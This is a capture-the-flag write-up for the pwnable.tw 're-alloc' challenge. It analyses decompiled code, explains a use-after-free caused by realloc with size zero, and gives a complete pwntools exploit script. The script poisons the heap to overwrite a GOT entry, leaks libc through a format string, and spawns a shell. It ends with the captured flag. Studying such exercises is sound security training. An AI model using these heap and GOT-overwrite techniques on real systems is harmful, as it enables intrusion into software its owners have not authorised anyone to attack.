[PWNABLE.TW] - re-alloc | ✧ Alter ✧

writeup

Challenge Information

Reverse Engineering

1
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/re-alloc
2
$ checksec re-alloc
3
[*] '/mnt/e/sec/lab/pwnable.tw/re-alloc/re-alloc'
4
    Arch:       amd64-64-little
5
    RELRO:      Partial RELRO
6
    Stack:      Canary found
7
    NX:         NX enabled
8
    PIE:        No PIE (0x400000)
9
    FORTIFY:    Enabled
10
    Stripped:   No

So as we can see, the binary is not stripped and has a canary. The binary is not PIE, so we can use absolute addresses. Let’s dive into the code and analyze it.

allocate

1
int allocate()
2
{
3
  _BYTE *v0; // rax
4
  unsigned __int64 index; // [rsp+0h] [rbp-20h]
5
  unsigned __int64 size; // [rsp+8h] [rbp-18h]
6
  void **v4; // [rsp+18h] [rbp-8h]
7

8
  printf("Index:");
9
  index = read_long();
10
  if ( index > 1 || (&heap)[index] )
11
  {
12
    LODWORD(v0) = puts("Invalid !");
13
  }
14
  else
15
  {
16
    printf("Size:");
17
    size = read_long();
18
    if ( size <= 0x78 )
19
    {
20
      v4 = (void **)realloc(0LL, size);
21
      if ( v4 )
22
      {
23
        (&heap)[index] = v4;
24
        printf("Data:");
25
        v0 = (char *)(&heap)[index] + read_input((__int64)(&heap)[index], (unsigned int)size);
26
        *v0 = 0;
27
      }
28
      else
29
      {
30
        LODWORD(v0) = puts("alloc error");
31
      }
32
    }
33
    else
34
    {
35
      LODWORD(v0) = puts("Too large!");
36
    }
37
  }
38
  return (int)v0;
39
}

reallocate

1
int reallocate()
2
{
3
  unsigned __int64 v1; // [rsp+8h] [rbp-18h]
4
  unsigned __int64 size; // [rsp+10h] [rbp-10h]
5
  void **v3; // [rsp+18h] [rbp-8h]
6

7
  printf("Index:");
8
  v1 = read_long();
9
  if ( v1 > 1 || !(&heap)[v1] )
10
    return puts("Invalid !");
11
  printf("Size:");
12
  size = read_long();
13
  if ( size > 0x78 )
14
    return puts("Too large!");
15
  v3 = (void **)realloc((&heap)[v1], size);
16
  if ( !v3 )
17
    return puts("alloc error");
18
  (&heap)[v1] = v3;
19
  printf("Data:");
20
  return read_input((&heap)[v1], (unsigned int)size);
21
}

reallocate

1
int rfree()
2
{
3
  void ***p_heap; // rax
4
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5

6
  printf("Index:");
7
  v2 = read_long();
8
  if ( v2 > 1 )
9
  {
10
    LODWORD(p_heap) = puts("Invalid !");
11
  }
12
  else
13
  {
14
    realloc((&heap)[v2], 0LL);
15
    p_heap = &heap;
16
    (&heap)[v2] = 0LL;
17
  }
18
  return (int)p_heap;
19
}

There’re 3 main functions in the binary: allocate, reallocate, and rfree. The first function allocates memory, the second one reallocates it, and the last one frees it. So, we can see all three functions are using a function called realloc, which is a standard C library function that changes the size of the memory block pointed to by a pointer. The realloc function takes two arguments: a pointer to the memory block to be resized and the new size in bytes. If the new size is larger than the old size, realloc may allocate a new memory block and copy the contents of the old block to the new one. If the new size is smaller, realloc may simply reduce the size of the existing block. But there’re some special case here:

When size is NULL (or zero), realloc will free that chunk
When ptr is NULL, realloc will behave like malloc

In the case it frees the chunk, it will call free on the pointer passed to it. But the problem is it not clear the pointer that lead to Use-After-Free here.

Exploit Strategies

So the binary have Use-After-Free bug in reallocate function by passing to realloc a size equal to zero. This will free the chunk, but the pointer is still pointing to the freed memory. And becasue there is Partial RELRO we can overwrite the GOT entry. So my plan here is:

Overwrite atoll GOT entry with printf address
Do Format String attack to leak the libc base address
Overwrite atoll GOT entry with system address
Call system("/bin/sh") to get a shell

Exploit

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./re-alloc_patched', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
b *0x4013F1
15
b *0x40155C
16
b *0x401632
17
b *0x40129D
18
c
19
'''
20

21
def start(argv=[]):
22
    if args.REMOTE:
23
        return remote(sys.argv[1], sys.argv[2])
24
    elif args.DOCKER:
25
        p = remote("localhost", 5000)
26
        sleep(0.5)
27
        pid = int(check_output(["pidof", "-s", "/app/run"]))
28
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
29
        pause()
30
        return p
31
    else:
32
        return process([exe.path] + argv, aslr=False)
33

34
def alloc(idx, size, data):
35
    slna(b': ', 1)
36
    slna(b':', idx)
37
    slna(b':', size)
38
    sa(b':', data)
39

40
def realloc(idx, size, data):
41
    slna(b': ', 2)
42
    slna(b':',idx)
43
    slna(b':', size)
44
    sa(b':', data)
45

46
def realloc_free(idx):
47
    slna(b': ', 2)
48
    slna(b':',idx)
49
    slna(b':', b'0')
50

51
def rfree(idx):
52
    slna(b': ', 3)
53
    slna(b':', idx)
54

55
# ==================== EXPLOIT ====================
56

57
# realloc(ptr, 0) --> free(ptr)
58
# realloc(0, size) --> malloc(size)
59
# realloc(ptr, size) --> expand/shrink, do nothing if same size
60

61
# allocate() - use to allocate memory via realloc
62
# reallocate() - use to reallocate memory via realloc - lead to UAF if input size is 0
63
# rfree() - use to free memory via realloc - can be used to reset the index pointer
64

65
p = start()
66

67
alloc(0, 0x18, b'0')
68
realloc_free(0)
69
realloc(0, 0x18, p64(exe.got.atoll))
70
alloc(1, 0x18, b'1')
71

72
# Reset index 1
73
realloc(1, 0x28, b'1')
74
rfree(1)
75

76
realloc(0, 0x28, p64(exe.got.atoll))
77
alloc(1, 0x28, b'1')
78

79
# Reset index 0, 1
80
realloc(0, 64, b'0')
81
rfree(0)
82
realloc(1, 120, b'1')
83
rfree(1)
84

85
alloc(0, 0x20, p64(exe.plt.printf))
86

87
slna(b': ', 1)
88
sla(b':', b'%6$p')
89

90
libc.address = hexleak(rl()[:-1]) - 0x1e5760
91
success('libc base @ %#x', libc.address)
92

93
if args.GDB:
94
    gdb.attach(p, gdbscript=gdbscript)
95
    pause()
96

97
# printf return total bytes it print
98
sla(b'choice: ', b'1')
99
sa(b'Index:', b'A')
100
sa(b':',  b'A'*0x8 + b'\0')
101
sa(b':',  p64(libc.sym.system))
102

103
sla(b'choice: ', b'1')
104
s(b'/bin/sh\0')
105

106
interactive()
107
# FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}